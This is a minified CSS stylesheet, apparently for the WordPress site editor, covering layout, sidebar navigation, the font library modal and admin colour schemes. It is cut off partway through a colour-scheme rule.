.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon img,.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon svg{ background:#1e1e1e; display:block; } .edit-site-editor__back-icon{ align-items:center; background-color:#ccc; display:flex; height:64px; justify-content:center; left:0; pointer-events:none; position:absolute; top:0; width:64px; } .edit-site-editor__back-icon svg{ fill:currentColor; } .edit-site-editor__back-icon.has-site-icon{ backdrop-filter:saturate(180%) blur(15px); background-color:#fff9; } .edit-site-welcome-guide{ width:312px; } .edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image,.edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{ background:#00a0d2; } .edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{ border-right:16px solid #3858e9; border-top:16px solid #3858e9; } .edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{ border-left:16px solid #3858e9; border-top:16px solid #3858e9; } .edit-site-welcome-guide__image{ margin:0 0 16px; } .edit-site-welcome-guide__image>img{ display:block; max-width:100%; object-fit:cover; } .edit-site-welcome-guide__heading{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:24px; line-height:1.4; margin:16px 0; padding:0 32px; } .edit-site-welcome-guide__text{ font-size:13px; line-height:1.4; margin:0 0 16px; padding:0 32px; } .edit-site-welcome-guide__text img{ vertical-align:bottom; } .edit-site-welcome-guide__inserter-icon{ margin:0 4px; vertical-align:text-top; } .edit-site-layout{ color:#ccc; display:flex; flex-direction:column; height:100%; } .edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{ background:#1e1e1e; } .edit-site-layout__content{ display:flex; flex-grow:1; height:100%; } .edit-site-layout__sidebar-region{ flex-shrink:0; width:100vw; z-index:1; } @media (min-width:782px){ .edit-site-layout__sidebar-region{ width:300px; } } .edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{ height:100vh; left:0; position:fixed !important; top:0; } .edit-site-layout__sidebar-region .edit-site-layout__sidebar{ display:flex; flex-direction:column; height:100%; } .edit-site-layout__sidebar-region .resizable-editor__drag-handle{ right:0; } .edit-site-layout__main{ display:flex; flex-direction:column; flex-grow:1; overflow:hidden; } .edit-site-layout__mobile{ display:flex; flex-direction:column; position:relative; width:100%; z-index:2; } .edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{ padding:0; } .edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{ padding:0 12px; } .edit-site-layout__canvas-container{ flex-grow:1; overflow:visible; position:relative; z-index:2; } .edit-site-layout__canvas-container.is-resizing:after{ bottom:0; content:""; left:0; position:absolute; right:0; top:0; z-index:100; } .edit-site-layout__canvas{ align-items:center; bottom:0; display:flex; justify-content:center; left:0; position:absolute; top:0; width:100%; } .edit-site-layout__canvas.is-right-aligned{ justify-content:flex-end; } .edit-site-layout__canvas .edit-site-resizable-frame__inner{ color:#1e1e1e; } @media (min-width:782px){ .edit-site-layout__canvas{ bottom:16px; top:16px; width:calc(100% - 16px); } .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{ box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003; overflow:hidden; } } @media (min-width:782px) and (not (prefers-reduced-motion)){ .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{ transition:border-radius,box-shadow .4s; } } @media (min-width:782px){ .edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{ border-radius:8px; } .edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{ box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005; } } .edit-site-layout.is-full-canvas .edit-site-layout__canvas{ bottom:0; top:0; width:100%; } .edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{ min-height:100% !important; position:relative !important; } .edit-site-template-pages-preview{ height:100%; } html.canvas-mode-edit-transition::view-transition-group(toggle){ animation-delay:255ms; } @media (prefers-reduced-motion){ ::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){ animation:none !important; } } .edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{ display:none; } .edit-site-layout__view-mode-toggle.components-button{ view-transition-name:toggle; align-items:center; background:#1e1e1e; border-radius:0; color:#fff; display:flex; height:64px; justify-content:center; overflow:hidden; padding:0; position:relative; width:64px; } .edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{ color:#fff; } .edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{ box-shadow:0 0 0 3px #1e1e1e, 0 0 0 6px var(--wp-admin-theme-color); outline:4px solid #0000; outline-offset:4px; } .edit-site-layout__view-mode-toggle.components-button:before{ border-radius:4px; bottom:9px; box-shadow:none; content:""; display:block; left:17px; position:absolute; right:9px; top:9px; } @media not (prefers-reduced-motion){ .edit-site-layout__view-mode-toggle.components-button:before{ transition:box-shadow .1s ease; } } .edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{ align-items:center; display:flex; height:64px; justify-content:center; width:64px; } .edit-site-layout__actions{ background:#fff; bottom:auto; color:#1e1e1e; left:auto; position:fixed !important; right:0; top:-9999em; width:280px; z-index:100000; } .edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{ bottom:0; top:auto; } .edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{ top:0; } @media (min-width:782px){ .edit-site-layout__actions{ border-left:1px solid #ddd; } } .edit-site-layout__area{ box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003; flex-grow:1; margin:0; overflow:hidden; } @media (min-width:782px){ .edit-site-layout__area{ border-radius:8px; margin:16px 16px 16px 0; } } .edit-site .components-editor-notices__snackbar{ bottom:16px; padding-left:16px; padding-right:16px; position:fixed; right:0; } .edit-site-save-hub{ border-top:1px solid #2f2f2f; color:#949494; flex-shrink:0; margin:0; padding:16px; } .edit-site-save-hub__button{ color:inherit; justify-content:center; width:100%; } .edit-site-save-hub__button[aria-disabled=true]{ opacity:1; } .edit-site-save-hub__button[aria-disabled=true]:hover{ color:inherit; } .edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{ color:#1e1e1e; } @media (min-width:600px){ .edit-site-save-panel__modal{ width:600px; } } .edit-site-sidebar__content{ contain:content; flex-grow:1; overflow-x:hidden; overflow-y:auto; } @keyframes local--slide-from-right{ 0%{ opacity:0; transform:translateX(50px); } to{ opacity:1; transform:none; } } @keyframes local--slide-from-left{ 0%{ opacity:0; transform:translateX(-50px); } to{ opacity:1; transform:none; } } .edit-site-sidebar__screen-wrapper{ overflow-x:auto; } .edit-site-sidebar__screen-wrapper::-webkit-scrollbar{ height:12px; width:12px; } .edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{ background-color:initial; } .edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{ background-clip:padding-box; background-color:initial; border:3px solid #0000; border-radius:8px; } .edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{ background-color:#757575; } .edit-site-sidebar__screen-wrapper{ scrollbar-color:#0000 #0000; scrollbar-gutter:stable both-edges; scrollbar-width:thin; } .edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{ scrollbar-color:#757575 #0000; } .edit-site-sidebar__screen-wrapper{ will-change:transform; } @media (hover:none){ .edit-site-sidebar__screen-wrapper{ scrollbar-color:#757575 #0000; } } .edit-site-sidebar__screen-wrapper{ animation-duration:.14s; animation-timing-function:ease-in-out; display:flex; flex-direction:column; height:100%; max-height:100%; padding:0 12px; scrollbar-gutter:stable; will-change:transform, opacity; } @media (prefers-reduced-motion:reduce){ .edit-site-sidebar__screen-wrapper{ animation-duration:0s; } } .edit-site-sidebar__screen-wrapper.slide-from-left{ animation-name:local--slide-from-left; } .edit-site-sidebar__screen-wrapper.slide-from-right{ animation-name:local--slide-from-right; } .edit-site-sidebar-button{ color:#e0e0e0; flex-shrink:0; } .edit-site-sidebar-button:focus:not(:disabled){ box-shadow:none; outline:none; } .edit-site-sidebar-button:focus-visible:not(:disabled){ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:3px solid #0000; } .edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover:not(:disabled,[aria-disabled=true]),.edit-site-sidebar-button:not(:disabled,[aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{ color:#f0f0f0; } .edit-site-sidebar-navigation-item.components-item{ border:none; color:#949494; min-height:40px; padding:8px 6px 8px 16px; } .edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current=true]{ color:#e0e0e0; } .edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current=true] .edit-site-sidebar-navigation-item__drilldown-indicator{ fill:#e0e0e0; } .edit-site-sidebar-navigation-item.components-item[aria-current=true]{ background:#2f2f2f; color:#fff; font-weight:500; } .edit-site-sidebar-navigation-item.components-item:focus-visible{ transform:translateZ(0); } .edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{ fill:#949494; } .edit-site-sidebar-navigation-item.components-item.with-suffix{ padding-right:16px; } .edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{ cursor:grab; padding:8px 8px 8px 0; } .edit-site-sidebar-navigation-screen{ display:flex; flex-direction:column; overflow-x:unset !important; position:relative; } .edit-site-sidebar-navigation-screen__main{ flex-grow:1; margin-bottom:16px; } .edit-site-sidebar-navigation-screen__main.has-footer{ margin-bottom:0; } .edit-site-sidebar-navigation-screen__content{ padding:0 16px; } .edit-site-sidebar-navigation-screen__content .components-text{ color:#ccc; } .edit-site-sidebar-navigation-screen__content .components-heading{ margin-bottom:8px; } .edit-site-sidebar-navigation-screen__title-icon{ background:#1e1e1e; margin-bottom:8px; padding-bottom:8px; padding-top:48px; position:sticky; top:0; z-index:1; } .edit-site-sidebar-navigation-screen__title{ flex-grow:1; overflow-wrap:break-word; } .edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title,.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title .edit-site-sidebar-navigation-screen__title{ line-height:32px; } .edit-site-sidebar-navigation-screen__actions{ display:flex; flex-shrink:0; } @media (min-width:782px){ .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variation-container{ max-width:292px; } } .edit-site-global-styles-variation-title{ color:#ddd; font-size:11px; font-weight:500; text-transform:uppercase; } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{ outline-color:#ffffff0d; } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{ outline-color:#ffffff26; } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{ outline-color:#fff; } .edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{ outline-color:var(--wp-admin-theme-color); } .edit-site-sidebar-navigation-screen__footer{ background-color:#1e1e1e; border-top:1px solid #2f2f2f; bottom:0; gap:0; margin:16px 0 0; padding:8px 16px; position:sticky; } .edit-site-sidebar-navigation-screen__footer .edit-site-sidebar-navigation-screen-details-footer{ margin-left:-16px; margin-right:-16px; } .edit-site-sidebar-navigation-screen__input-control{ width:100%; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__container{ background:#2f2f2f; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{ color:#e0e0e0 !important; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__input{ background:#2f2f2f !important; color:#e0e0e0 !important; } .edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{ border:4px !important; } .edit-site-sidebar-navigation-screen__input-control .components-base-control__help{ color:#949494; } .edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{ background:none; } .sidebar-navigation__more-menu .components-button{ color:#e0e0e0; } .sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{ color:#f0f0f0; } .edit-site-sidebar-navigation-screen-patterns__group{ margin-bottom:24px; margin-left:-16px; margin-right:-16px; } .edit-site-sidebar-navigation-screen-patterns__group:last-of-type{ border-bottom:0; margin-bottom:0; padding-bottom:0; } .edit-site-sidebar-navigation-screen-patterns__group-header{ margin-top:16px; } .edit-site-sidebar-navigation-screen-patterns__group-header p{ color:#949494; } .edit-site-sidebar-navigation-screen-patterns__group-header h2{ font-size:11px; font-weight:500; text-transform:uppercase; } .edit-site-sidebar-navigation-screen-patterns__divider{ border-top:1px solid #2f2f2f; margin:16px 0; } .edit-site-sidebar-navigation-screen__description{ margin:0 0 32px; } .edit-site-sidebar-navigation-screen-navigation-menus{ margin-left:-16px; margin-right:-16px; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{ white-space:normal; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{ margin-top:3px; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{ padding-right:0; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button{ color:#949494; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button[aria-current]{ color:#fff; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu{ color:#949494; } .edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:hover{ color:#fff; } .edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{ display:block; margin-left:auto; margin-right:auto; } .edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{ display:none; } .edit-site-sidebar-dataviews,.edit-site-sidebar-navigation-screen-main,.edit-site-sidebar-navigation-screen-templates-browse{ margin-left:-16px; margin-right:-16px; } .edit-site-sidebar-dataviews-dataview-item{ border-radius:2px; } .edit-site-sidebar-dataviews-dataview-item:focus,.edit-site-sidebar-dataviews-dataview-item:hover,.edit-site-sidebar-dataviews-dataview-item[aria-current]{ color:#e0e0e0; } .edit-site-sidebar-dataviews-dataview-item.is-selected{ background:#2f2f2f; color:#fff; font-weight:500; } .edit-site-site-hub{ align-items:center; display:flex; gap:8px; height:64px; justify-content:space-between; margin-right:12px; } .edit-site-site-hub__actions{ flex-shrink:0; } .edit-site-site-hub__view-mode-toggle-container{ flex-shrink:0; height:64px; width:64px; } .edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{ background:#0000; } .edit-site-site-hub__title .components-button{ color:#e0e0e0; display:block; flex-grow:1; font-size:15px; font-weight:500; margin-left:-4px; overflow:hidden; padding-right:16px; position:relative; text-decoration:none; text-overflow:ellipsis; white-space:nowrap; } .edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{ color:#e0e0e0; } .edit-site-site-hub__title .components-button:focus{ box-shadow:none; outline:none; } .edit-site-site-hub__title .components-button:focus-visible{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e, 0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color); outline:2px solid #0000; outline-offset:2px; } .edit-site-site-hub__title .components-button:after{ content:"↗"; font-weight:400; opacity:0; position:absolute; right:0; } @media not (prefers-reduced-motion){ .edit-site-site-hub__title .components-button:after{ transition:opacity .1s linear; } } .edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{ opacity:1; } .edit-site-site-hub_toggle-command-center{ color:#e0e0e0; } .edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{ fill:#f0f0f0; } .edit-site-site-icon__icon{ fill:currentColor; height:100%; width:100%; } .edit-site-layout.is-full-canvas .edit-site-site-icon__icon{ padding:12px; } .edit-site-site-icon__image{ aspect-ratio:1/1; background:#333; height:100%; object-fit:cover; width:100%; } .edit-site-layout.is-full-canvas .edit-site-site-icon__image{ border-radius:0; } .edit-site-editor__view-mode-toggle button:focus{ position:relative; } .edit-site-editor__view-mode-toggle button:focus:before{ bottom:0; box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color), inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff; content:""; display:block; left:0; position:absolute; right:0; top:0; z-index:1; } .edit-site-style-book{ height:100%; } .edit-site-style-book.is-button{ border-radius:8px; } .edit-site-style-book{ align-items:stretch; display:flex; flex-direction:column; } .edit-site-style-book__iframe{ display:block; height:100%; width:100%; } .edit-site-style-book__iframe.is-button{ border-radius:8px; } .edit-site-style-book__iframe.is-focused{ outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color); outline-offset:calc(var(--wp-admin-border-width-focus)*-2); } .edit-site-style-book__tablist-container{ background:#fff; display:flex; flex:none; padding-right:56px; width:100%; } .edit-site-style-book__tabpanel{ flex:1 0 auto; overflow:auto; } .edit-site-editor-canvas-container{ background-color:var(--wp-editor-canvas-background); height:100%; } .edit-site-editor-canvas-container iframe{ display:block; height:100%; width:100%; } .edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{ padding:24px 24px 0; } .edit-site-editor-canvas-container__section{ background:#fff; border-radius:8px; bottom:0; left:0; overflow:hidden; position:absolute; right:0; top:0; } @media not (prefers-reduced-motion){ .edit-site-editor-canvas-container__section{ transition:all .3s; } } .edit-site-editor-canvas-container__close-button{ background:#fff; position:absolute; right:8px; top:8px; z-index:2; } .edit-site-post-edit{ padding:24px; } .dataforms-layouts-panel__field-dropdown .fields-controls__password{ border-top:1px solid #e0e0e0; padding-top:16px; } .edit-site-post-list__featured-image{ height:100%; object-fit:cover; width:100%; } .edit-site-post-list__featured-image-wrapper{ border-radius:4px; height:100%; width:100%; } .edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){ background-color:#f0f0f0; border-radius:4px; display:block; flex-grow:0 !important; height:32px; overflow:hidden; position:relative; width:32px; } .edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{ border-radius:4px; box-shadow:inset 0 0 0 1px #0000001a; content:""; height:100%; left:0; position:absolute; top:0; width:100%; } .edit-site-post-list__featured-image-button{ background-color:unset; border:none; border-radius:4px; box-shadow:none; box-sizing:border-box; cursor:pointer; height:100%; overflow:hidden; padding:0; width:100%; } .edit-site-post-list__featured-image-button:focus-visible{ box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); outline:2px solid #0000; } .dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{ background:rgba(var(--wp-admin-theme-color--rgb), .04); box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .edit-site-post-list__status-icon{ height:24px; width:24px; } .edit-site-post-list__status-icon svg{ fill:currentColor; margin-left:-4px; } .edit-site-resizable-frame__inner{ position:relative; } body:has(.edit-site-resizable-frame__inner.is-resizing){ cursor:col-resize; user-select:none; -webkit-user-select:none; } .edit-site-resizable-frame__inner.is-resizing:before{ content:""; inset:0; position:absolute; z-index:1; } .edit-site-resizable-frame__inner-content{ inset:0; position:absolute; z-index:0; } .edit-site-resizable-frame__handle{ align-items:center; background-color:#75757566; border:0; border-radius:4px; cursor:col-resize; display:flex; height:64px; justify-content:flex-end; padding:0; position:absolute; top:calc(50% - 32px); width:4px; z-index:100; } .edit-site-resizable-frame__handle:before{ content:""; height:100%; left:100%; position:absolute; width:32px; } .edit-site-resizable-frame__handle:after{ content:""; height:100%; position:absolute; right:100%; width:32px; } .edit-site-resizable-frame__handle:focus-visible{ outline:2px solid #0000; } .edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{ background-color:var(--wp-admin-theme-color); } .edit-site-push-changes-to-global-styles-control .components-button{ justify-content:center; width:100%; } @media (min-width:782px){ .font-library-modal.font-library-modal{ width:65vw; } } .font-library-modal .components-modal__header{ border-bottom:none; } .font-library-modal .components-modal__content{ margin-bottom:70px; padding-top:0; } .font-library-modal .font-library-modal__subtitle{ font-size:11px; font-weight:500; text-transform:uppercase; } .font-library-modal .components-navigator-screen{ padding:3px; } .font-library-modal__tabpanel-layout{ margin-top:32px; } .font-library-modal__tabpanel-layout .font-library-modal__loading{ align-items:center; display:flex; height:100%; justify-content:center; left:0; padding-top:124px; position:absolute; top:0; width:100%; } .font-library-modal__footer{ background-color:#fff; border-top:1px solid #ddd; bottom:32px; height:70px; margin:0 -32px -32px; padding:16px 32px; position:absolute; width:100%; } .font-library-modal__page-selection{ font-size:11px; font-weight:500; text-transform:uppercase; } @media (min-width:600px){ .font-library-modal__page-selection .components-select-control__input{ font-size:11px !important; font-weight:500; } } .font-library-modal__fonts-title{ font-size:11px; font-weight:600; text-transform:uppercase; } .font-library-modal__fonts-list,.font-library-modal__fonts-title{ margin-bottom:0; margin-top:0; } .font-library-modal__fonts-list-item{ margin-bottom:0; } .font-library-modal__font-card{ border:1px solid #e0e0e0; height:auto !important; margin-top:-1px; padding:16px; width:100%; } .font-library-modal__font-card:hover{ background-color:#f0f0f0; } .font-library-modal__font-card:focus{ position:relative; } .font-library-modal__font-card .font-library-modal__font-card__name{ font-weight:700; } .font-library-modal__font-card .font-library-modal__font-card__count{ color:#757575; } .font-library-modal__font-card .font-library-modal__font-variant_demo-image{ display:block; height:24px; width:auto; } .font-library-modal__font-card .font-library-modal__font-variant_demo-text{ flex-shrink:0; white-space:nowrap; } @media not (prefers-reduced-motion){ .font-library-modal__font-card .font-library-modal__font-variant_demo-text{ transition:opacity .3s ease-in-out; } } .font-library-modal__font-variant{ border-bottom:1px solid #e0e0e0; padding-bottom:16px; } .font-library-modal__tablist-container{ background:#fff; border-bottom:1px solid #ddd; margin:0 -32px; padding:0 16px; position:sticky; top:0; z-index:1; } .font-library-modal__tablist-container [role=tablist]{ margin-bottom:-1px; } .font-library-modal__upload-area{ align-items:center; display:flex; height:256px !important; justify-content:center; width:100%; } button.font-library-modal__upload-area{ background-color:#f0f0f0; } .font-library-modal__local-fonts{ margin:0 auto; width:80%; } .font-library-modal__local-fonts .font-library-modal__upload-area__text{ color:#757575; } .font-library__google-fonts-confirm{ align-items:center; display:flex; justify-content:center; margin-top:64px; } .font-library__google-fonts-confirm p{ line-height:1.4; } .font-library__google-fonts-confirm h2{ font-size:1.2rem; font-weight:400; } .font-library__google-fonts-confirm .components-card{ padding:16px; width:400px; } .font-library__google-fonts-confirm .components-button{ justify-content:center; width:100%; } .font-library-modal__select-all{ padding:16px 16px 16px 17px; } .font-library-modal__select-all .components-checkbox-control__label{ padding-left:16px; } .edit-site-pagination .components-button.is-tertiary{ height:32px; justify-content:center; width:32px; } .edit-site-global-styles-variations_item{ box-sizing:border-box; cursor:pointer; } .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{ border-radius:2px; outline:1px solid #0000001a; outline-offset:-1px; overflow:hidden; position:relative; } @media not (prefers-reduced-motion){ .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{ transition:outline .1s linear; } } .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill{ height:32px; } .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview.is-pill .block-editor-iframe__scale-container{ overflow:hidden; } .edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{ outline-color:#0000004d; } .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview,.edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{ outline-color:#1e1e1e; outline-offset:1px; outline-width:var(--wp-admin-border-width-focus); } .edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{ outline-color:var(--wp-admin-theme-color); } .edit-site-styles .edit-site-global-styles-screen-root{ box-shadow:none; } .edit-site-styles .edit-site-global-styles-screen-root>div>hr{ display:none; } .edit-site-styles .edit-site-global-styles-sidebar__navigator-provider .components-tools-panel{ border-top:none; } .edit-site-styles .edit-site-global-styles-sidebar__navigator-provider{ overflow-y:auto; padding-left:0; padding-right:0; } .edit-site-styles .edit-site-global-styles-sidebar__navigator-provider .edit-site-global-styles-sidebar__navigator-screen{ outline:none; padding:12px; } .edit-site-styles .edit-site-sidebar-button{ color:#1e1e1e; } ::view-transition-image-pair(root){ isolation:auto; } ::view-transition-new(root),::view-transition-old(root){ animation:none; display:block; mix-blend-mode:normal; } body.js #wpadminbar{ display:none; } body.js #wpbody{ padding-top:0; } body.js.appearance_page_gutenberg-template-parts,body.js.site-editor-php{ background:#fff; } body.js.appearance_page_gutenberg-template-parts #wpcontent,body.js.site-editor-php #wpcontent{ padding-left:0; } body.js.appearance_page_gutenberg-template-parts #wpbody-content,body.js.site-editor-php #wpbody-content{ padding-bottom:0; } body.js.appearance_page_gutenberg-template-parts #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.appearance_page_gutenberg-template-parts #wpfooter,body.js.site-editor-php #wpbody-content>div:not(.edit-site):not(#screen-meta),body.js.site-editor-php #wpfooter{ display:none; } body.js.appearance_page_gutenberg-template-parts .a11y-speak-region,body.js.site-editor-php .a11y-speak-region{ left:-1px; top:-1px; } body.js.appearance_page_gutenberg-template-parts ul#adminmenu a.wp-has-current-submenu:after,body.js.appearance_page_gutenberg-template-parts ul#adminmenu>li.current>a.current:after,body.js.site-editor-php ul#adminmenu a.wp-has-current-submenu:after,body.js.site-editor-php ul#adminmenu>li.current>a.current:after{ border-right-color:#fff; } body.js.appearance_page_gutenberg-template-parts .media-frame select.attachment-filters:last-of-type,body.js.site-editor-php .media-frame select.attachment-filters:last-of-type{ max-width:100%; width:auto; } body.js.site-editor-php{ background:#1e1e1e; } .edit-site{ box-sizing:border-box; } .edit-site *,.edit-site :after,.edit-site :before{ box-sizing:inherit; } .edit-site{ height:100vh; } @media (min-width:600px){ .edit-site{ bottom:0; left:0; min-height:100vh; position:fixed; right:0; top:0; } } .no-js .edit-site{ min-height:0; position:static; } .edit-site .interface-interface-skeleton{ top:0; } body.admin-color-light{ --wp-admin-theme-color:#0085ba; --wp-admin-theme-color--rgb:0, 133, 186; --wp-admin-theme-color-darker-10:#0073a1; --wp-admin-theme-color-darker-10--rgb:0, 114.7661290323, 160.5; --wp-admin-theme-color-darker-20:#006187; --wp-admin-theme-color-darker-20--rgb:0, 96.5322580645, 135; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-light{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-modern{ --wp-admin-theme-color:#3858e9; --wp-admin-theme-color--rgb:56, 88, 233; --wp-admin-theme-color-darker-10:#2145e6; --wp-admin-theme-color-darker-10--rgb:33.0384615385, 68.7307692308, 230.4615384615; --wp-admin-theme-color-darker-20:#183ad6; --wp-admin-theme-color-darker-20--rgb:23.6923076923, 58.1538461538, 214.3076923077; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-modern{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-blue{ --wp-admin-theme-color:#096484; --wp-admin-theme-color--rgb:9, 100, 132; --wp-admin-theme-color-darker-10:#07526c; --wp-admin-theme-color-darker-10--rgb:7.3723404255, 81.914893617, 108.1276595745; --wp-admin-theme-color-darker-20:#064054; --wp-admin-theme-color-darker-20--rgb:5.7446808511, 63.829787234, 84.2553191489; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-blue{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-coffee{ --wp-admin-theme-color:#46403c; --wp-admin-theme-color--rgb:70, 64, 60; --wp-admin-theme-color-darker-10:#383330; --wp-admin-theme-color-darker-10--rgb:56.2692307692, 51.4461538462, 48.2307692308; --wp-admin-theme-color-darker-20:#2b2724; --wp-admin-theme-color-darker-20--rgb:42.5384615385, 38.8923076923, 36.4615384615; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-coffee{ 